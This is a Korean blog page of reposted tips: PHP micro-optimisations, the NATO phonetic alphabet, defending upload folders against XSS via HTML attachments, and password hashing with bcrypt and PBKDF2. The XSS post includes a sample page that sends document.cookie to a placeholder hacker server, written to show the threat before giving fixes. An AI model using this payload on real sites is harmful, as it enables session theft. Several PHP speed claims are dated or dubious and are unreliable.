Tip&Tech2015. 7. 3. 21:36

PHP 코드최적화팁


1. echo가 print 보다 빠르다. 


2. string을 감싸는데 있어서 작은따옴표(') 가 큰따옴표(")보다 빠른데, 그 이유는 PHP는 큰따옴표안에서 변수를 찾고 작은 따옴표에서는 변수를 찾지 않기 때문이다. string에 변수가 없다면 작은따옴표를 사용해라 


3. echo를 string을 연속해서 사용하는것 대신에 여러개의 파라메터를 넣어서 사용해라 


4. 미리 계산한 값을 사용해라. for루프를 위해서 가장큰값을 지정할때 루프에 넣지말고 

예를 들어 for($x=0;$x<count($array);$x)는 count()를 매번 호출한다. $max = count($array)를 for 루프가 시작하기 전에 사용해라 


5. 메모리 free를 위해서 변수를 unset 또는 null 해라. 특히 큰 배열에서는 


6. str_replace가 preg_replace보다 빠르다. str_replace는 왠만하면 최고고, 그러나 strtr이 때대로 큰 string에서 좀더 빠르다. str_prelace안에 배열을 사용하는 것이 보통 여러개의 str_replace를 쓰는 것보다 빠르다. 


7. else if 구문이 switch보다 빠르다 


8. 사용하고 데이터베이스 connection을 닫아라 


9. $row['id']가 $row[id]보다 7배가 빠르다. 작은따옴표를 사용하지 않으면, 시스템이 무엇이 당신이 의미한 인덱스인지 추측해야한다. 


10. php를 선언할때는 <?php ... ?> 을 사용하자. 다른 스타일은 모두 불량 



11. 엄격한 코드를 사용하자, notice와 warning, error를 안보이게 하는것을 피하자. 좀더 깨끗한 코드와 덜 부하가 되는 결과를 나타낸다. error_reporting(E_ALL) 을 항상 켜놓는 것을 고려하자. 



12. header('location:'.$url);을 사용할때는 exit를 함께 사용하는것을 기억해라. location이 바뀌었음에도 불구하고 스크립트는 계속 진행된다. 


13. 미리 초기화한것을 사용할때보다 선언되지 않은 지역변수의 증가는 9~10배 느리다 


14. derived class의 메소드가 base class의 메소드보다 빠르다 


15. 에러를 보이지 않게 하는 @는 매우느리다


출처 : PHPSCHOOL

Posted by 네로
Tip&Tech2014. 11. 8. 05:53

전화등 음성통신으로 이메일 주소나 맥 주소등을 남에게 불러 줄 때 알파벳 중 R과 L, M과 N, B와 V, B와 E등은 발음상 상대방이 잘못 들을 가능성이 매우 큰 글자들입니다.

 

이런 경우 해당 철자가 맨 처음 나오는 가장 익숙한 단어로 말하면 상대방이 쉽고 틀리지 않게 내용을 전달할 수 있습니다.

 

예를 들어 H 면 H로 시작하는 단어(누구나 아는 가장 쉬운 단어)인 HOTEL 이라 말하면 됩니다.

 

이는 무선 통신중 음성 통신을 사용할 때 (아마튜어 무선에서나 비행기 기장등이 관제탑에 콜사인을 말할 때, 군에서 포병이 좌표 불러줄 때 등) 사용하는 것으로 일명 포네틱 알파벳(Phonetic Alphabet)이라 합니다.

 

BOY를 말할 때 B - O - Y 라 하면 B는 V와 헷갈려 들리므로 BOY인지 VOY인지 헷갈립니다. 이때 포네틱 알파벳을 이용 BOY를 bravo - oscar - yankee 라고 말하면 절대로 헷갈리지 않고 들을 수 있습니다.

 

항공기 기장들이 자신의 콜사인을 말할 때 예를 들어 대한항공인 경우 HL5103을 관제탑에 HL5103이라 하면 혼신의 위험이 있으므로 Hotel - Lima - 5103 이라 말합니다.

 

몇일 전 데이콤 서비스 센터와 전화할 일이 있었는데 상담원이 랜 카드의 맥 주소를 불러 달라고 하더군요. 불러 주니 일일이 위에서 설명한 것처럼 포네틱 알파벳으로 맥 주소를 다시 복창하며 확인을 하는데 포네틱 알파벳을 말하는 상담원을 만나 색달랐었습니다.

 

제 id가 asklee 인데, 이를 포네틱 알파벳으로 말하면 alpha - sierra - kilo - lima - echo - echo 가 됩니다.

 

아래는 포네틱 알파벳과 해당 알파벳의 모르스 코드가 함께 있는 표입니다. 반드시 아래 표처럼 말할 필요는 없습니다. 예를 들어 H를 꼭 Hotel 이 아닌 Hong Kong 이라 해도 됩니다.

 

모르스 코드로 SOS가 ··· --- ··· (짧게 세번 길게 세번 짧게 세번)인 것을 알아 두면 조난등을 당했을 때 불빛 신호등으로 필요할 때 언젠가 사용할 수 있습니다.



이외에 (-) 은 하이픈 대신에 Dash로, 점(.)은 Point 대신에 Decimal 이라고 합니다.


숫자는 0부터 8까지는 그냥 영어로 숫자를 읽을 때처럼 발음하지만 9만 나인(nine)이 아닌 나이너(niner)로 읽습니다.


위 표는 북대서양조약기구(NATO)와 ICAO, ITU등에서 공식적으로 사용하는 포네틱 알파벳입니다.


앞에서도 언급했드시 특수 업종(조종사 등)에 근무하지 않는 이상 반드시 위를 따를 필요는 없습니다. 그 예로 미국 로스엔젤레스 경찰은 친숙한 단어나 사람의 성을 따서 사용합니다. 예를 들어 B를 Boy, D를 Delta 대신에 David, E를 Echo 대신에 Edwards 등으로 말합니다.

Posted by 네로
Tip&Tech2014. 7. 22. 07:21

게시판에 글을 쓸 때 <script> 태그나 onclick 속성 등을 사용하여 

임의의 자바스크립트를 실행시키도록 하는 XSS 공격에 대해서는 다들 한번씩 들어보셨겠지요? 

그래서 대부분의 솔루션들이 <script> 태그와 각종 이벤트 속성들을 필터링하는 기능을 내장하고 있고요. 

참고: http://www.phpschool.com/link/tipntech/77221 


그러나 게시물 내용에서 <script> 태그 등을 필터링한다고 XSS 취약점이 완전 봉쇄되지는 않습니다. 

게시물 내용 외에도 XSS 공격에 사용될 수 있는 것이 하나 더 있거든요. 

바로 첨부파일입니다. 


만약 아래와 같은 내용을 만들어 test.html이라는 파일명으로 업로드한다면? 


    <html> 

    <head> 

        <title>메롱</title> 

    </head> 

    <body> 

        <script type="text/javascript"> 

            var img = document.createElement("img"); 

            img.src = "http://해커서버/lolcat.jpg?cookie=" + document.cookie; 

        </script> 

        <p>너의 쿠키는 내가 접수했다. 음하하하!</p> 

    </body> 

    </html> 


해당 첨부파일을 클릭하면 위의 웹페이지가 표시되면서 여러분의 쿠키는 해커의 서버로 죄다 전송되겠죠? 

게시물 내용을 필터링하는 솔루션은 많지만, 첨부파일 내용까지 필터링하지는 않으니까요. 


이런 문제를 막는 방법에는 몇 가지가 있습니다. 


1. GIF, JPG, PNG, BMP 등의 이미지파일 외에는 업로드 금지하는 방법이 가장 쉽죠. 

    만약 게시판에 이런 기능이 있고 제대로 사용중이시라면 일단 한숨 놓으셔도 됩니다. 

    그러나 만약 똑똑한 해커가 위의 내용과 같은 HTML 문서를 확장자만 GIF로 바꿔서 업로드한다면? 

    GIF 포맷의 특성상, 이렇게 변조된 파일도 정상적인 이미지처럼 보일 수 있습니다. 

    게다가 익스플로러 일부 버전은 파일 확장자가 아니라 내용을 직접 뜯어보고 화면 표시 방법을 결정하는 

    이상한 습관이 있어요. 따라서 이미지파일만 허용한다고 문제가 해결되지는 않습니다. 


2. 업로드 폴더의 .htaccess에 아래의 내용을 추가합니다. 

    이렇게 하면 이미지파일, HTML 문서 등 평소에는 브라우저에서 그대로 표시하는 파일들도 

    그냥 강제로 다운로드 창을 띄워버립니다. (단, <img> 태그로 불러온 경우에는 멀쩡하게 표시돼요.) 

    일단 사용자의 PC로 다운로드된 파일은 더이상 쿠키에 접근할 수 없으므로 XSS 공격은 무용지물이 됩니다. 


    <IfModule mod_headers.c> 

        Header set Content-Disposition attachment 

    </IfModule> 


    아파치의 <FilesMatch> 기능을 사용하면 특정 확장자만 저렇게 처리하도록 할 수도 있지만, 

    위에서 말씀드렸듯이 확장자만으로 필터링하는 것은 안전하지 않습니다. 

    따라서 업로드 폴더내의 모든 파일에 일괄 적용하는 것을 권장합니다. 


3. 가장 확실한 방법은 첨부파일을 다운로드할 때 별도의 도메인을 사용하도록 하는 방법입니다. 

    다른 도메인끼리는 서로의 쿠키에 접근할 수 없으니까요. 

    예를 들어 구글 사용자들이 업로드한 파일은 엄청난 양의 쿠키를 보유한 google.com 도메인이 아니라 

    googleusercontent.com이라는 별도의 도메인에서 다운로드하도록 되어 있습니다. 

    단, 서브도메인이 아니라 이렇게 완전히 다른 도메인을 쓰셔야 합니다. 

    설정에 따라 서브도메인끼리는 쿠키가 공유되기도 하거든요. 

    그래서 도메인 하나만 쓰시는 웹사이트라면 좀 부담스러운 방법입니다. 


4. 반드시 같은 도메인에서 HTML 파일을 직접 표시해야 하는 희귀한 경우라면 (실제로 이런 경우가 있음? 뭥미?) 

    <script>를 비롯한 여러가지 태그 및 속성 필터링 기능을 첨부파일에도 반드시 적용하셔야 합니다. 

    이건 완전 캐삽질이므로 정말 미쳐보고 싶은 분들만 해보세요. 

    단, 멀쩡한 이미지파일이나 압축파일까지 필터링을 시도할 경우 파일이 깨지는 수가 있으므로 주의. 


※ 업로드 폴더에서 PHP 웹쉘 실행을 봉쇄하는 기능과 함께 사용하시면 더욱 좋습니다. 

    http://www.phpschool.com/link/tipntech/77681 


내 서버에 다른 사람이 파일을 업로드할 수 있도록 허용한다는 건 이래저래 매우 위험한 일입니다. 

평소에는 별다른 해를 끼치지 않는 파일 형식이라도 서버 환경에서는 갑자기 실행파일로 돌변할 수 있거든요. 

따라서 업로드는 반드시 한 군데에 모아놓고 (폴더 탈출을 막기 위해 꼭 basename 함수를 사용하세요.) 

.htaccess를 사용하여 해당 폴더에 여러가지 제한을 걸어놓는 것이 안전합니다.


출처 : http://www.phpschool.com/link/tipntech/78863


Posted by 네로
Tip&Tech2014. 2. 2. 05:11

이번 설의 가장 큰 화두 중 하나는 "나도 개인정보 털렸어 ㅠㅠ" "언능 카드 재발급해" 이거네요. 

모두 개인정보 보호에 앞장서는 2014년이 됩시닷!!!! 


사용자 비밀번호는 단방향 암호화 함수로 암호화해서 저장하는 건 기본이죠? 


근데 

MySQL의 password() 함수는 한물 갔고 

crypt() 함수는 쉽게 뚫린다고 하고 

md5() 함수도 쉽게 뚫린다고 하고 

sha1() 함수도 곧 뚫릴 거라고 하고 

hash() 함수는 웬 듣도보도 못한 알고리듬이 그렇게 많은지? 


그래서 세계적인 보안 전문가들께서 추천하시는 비밀번호 암호화 방법들을 간단하게 정리해 보았습니다. 

웬만하면 보안 허술한 md5() 그만 쓰시고 아래의 방법들 중 하나 골라잡으세요. 



===================================================================================================== 



1. scrypt 



암호화 백업 서비스 tarsnap을 운영하는 

캐나다 프로그래머 콜린 퍼시벌(이름이 웬 ㅅㅂ이냐)이 개발한 암호화 알고리듬입니다. 

뚫기 어려운 걸로 말하자면 비교 대상이 없는 막강한 알고리듬이지만, 

너무 최신이라 PHP에서는 전혀 사용할 수 없으므로 패스. 



===================================================================================================== 



2. bcrypt 



해외에서 비밀번호 암호화에 대해 물어보면 즉시 돌아오는 모범답안입니다. 

예전부터 널리 사용되어 온 blowfish 양방향 암호화 알고리듬을 단방향으로 개조한 것으로, 

위에 언급한 scrypt를 제외하면 가장 막강한 후보입니다. 


PHP 5.5 이상에서는 아예 bcrypt 암호화 함수를 내장하고 있으므로 

아래와 같이 간단하게 사용 가능합니다. 



    암호화:  $hash = password_hash($password, PASSWORD_DEFAULT); 

                여기서 반환하는 $hash 값을 DB에 저장해 두었다가 아래에서 확인하는 데 씁니다. 


    확인:      if (password_verify($password, $hash)) { 

                    // 비밀번호가 맞음 

                } else { 

                    // 비밀번호가 틀림 

                } 



PHP 5.3.7 이상에서는 아래 링크의 파일을 인클루드한 후, 위와 똑같은 방법으로 쓰면 됩니다. 

위에서 사용한 내장 함수와 100% 호환됩니다. 

https://github.com/ircmaxell/password_compat/blob/master/lib/password.php 


그러나 대부분의 국내 웹호스팅에 설치되어 있는 PHP 5.2 버전에서는 bcrypt를 쓸 수가 없어요 ㅠㅠ 

예전부터 돌아다니던 phpass라는 라이브러리도 bcrypt를 지원한다고 하는데, 

이건 PHP 버전에 따라 그냥 md5() 함수를 사용해 버리기도 하더군요. 절대 비추입니다. 


그럼 어떻게 해야 할까요? 



===================================================================================================== 



3. PBKDF2 



RFC 2898에 규정되어 있으며, 세계 각국의 정부와 민간기업에서 오래 전부터 표준으로 쓰고 있는 알고리듬입니다. 

수많은 전문가들의 검증을 거쳤기 때문에 이거 썼다고 나무랄 사람은 아무도 없다는 것이 최대 장점이죠. 


게다가 bcrypt와 달리, 이건 PHP 5.1, 5.2 등에서도 대부분 사용이 가능합니다. 

흔히 쓰는 mcrypt 라이브러리가 설치되어 있고, 

hash_algos() 함수의 반환값 중 sha256이 포함되어 있는지만 확인하면 됩니다. 


표준 포맷을 PHP로 구현하는 소스는 아래의 주소에서 다운받아 인클루드하세요. 

https://defuse.ca/php-pbkdf2.htm 


최신 슈퍼컴퓨터로도 뚫기 어려운 강력한 보안을 원하시면 

PBKDF2_ITERATION 상수를 10000 정도로 바꿔주시는 것이 좋습니다. 

기본값은 1000 인데, 이건 아주 옛날에 쓰던 설정이라 요즘은 너무 낮다는 평가를 받아요. 

그러나 너무 높게 잡아놓으면 느려지므로 주의하세요. 



    암호화:  $hash = create_hash($password); 

                여기서 반환하는 $hash 값을 DB에 저장해 두었다가 아래에서 확인하는 데 씁니다. 


    확인:      if (validate_password($password, $hash)) { 

                    // 비밀번호가 맞음 

                } else { 

                    // 비밀번호가 틀림 

                } 



===================================================================================================== 



[부록] "저는 이미 md5() 쓰는데요? 이거 복호화도 안되는데 어떻게 bcrypt나 PBKDF2로 바꾸죠?" 


이런 질문 하실 분이 많을 것 같아서 부록을 준비했습니다. 

지금 쓰시는 알고리듬이 md5(), sha1(), 또는 비슷한 함수들의 조합이라면 

아래와 같이 하시면 됩니다. 


- 변환 작업 들어가기 전에 DB의 비밀번호 필드 자료형을 확인하고, 필요하다면 자료형을 바꿉니다. 

  예를 들어 md5() 함수는 항상 32바이트를 반환하므로 CHAR(32)로 해두셨을지도 몰라요. 

  그런데 bcrypt와 PBKDF2는 경우에 따라 60바이트 이상 반환하기도 합니다. 

  잘리지 않도록 필드 길이를 늘려주세요. VARCHAR(100) 정도 해두면 어떤 알고리듬이라도 넉넉합니다. 


- 기존의 회원 비밀번호는 암호화된 상태 그대로 bcrypt나 PBKDF2를 적용합니다. 

  미리 복호화할 필요 없어요. 


- 새로 가입하거나 비번 변경하는 회원은 기존의 알고리듬 한 번, 새 알고리듬 한 번, 이렇게 두 번 연달아 적용합니다. 

  예를 들어 XE처럼 md5(sha1(md5($password))) 이런 방식이었다면 

  password_hash(md5(sha1(md5($password)))) 이렇게 함수를 하나 더하는 거죠. 

  그러면 기존의 회원 비밀번호와 동일한 형식으로 통일되겠죠? 


- 비밀번호 체크할 때도 똑같이 하면 됩니다. 알고 보니 쉽죠? 

  예를 들면 if (password_verify(md5(sha1(md5($password))), $hash)) 


- 함수를 여러 개 쓰면 느려지지 않냐고요? 

  md5() 수천 번 돌려봤자 bcrypt나 PBKDF2 한 번 돌리는 것보다 시간 적게 걸립니다. 

  bcrypt나 PBKDF2는 딱 한 번만 돌리세요. 나머지는 아무리 많이 돌려봤자 차이를 느낄 수 없습니다. 


- 주의!!! 기존의 알고리듬이 "솔트"를 사용하고 있다면 위와 같이 쉽게 변환할 수 없습니다. 예: crypt() 함수 

  이 경우는 좀더 복잡한 과정을 거쳐야 하고, 잘못하면 다 틀려지니 주의하세요. 

  만약 솔트가 뭔지 모르신다면 해당 없습니다.


출처 : http://www.phpschool.com/link/tipntech/78316


Posted by 네로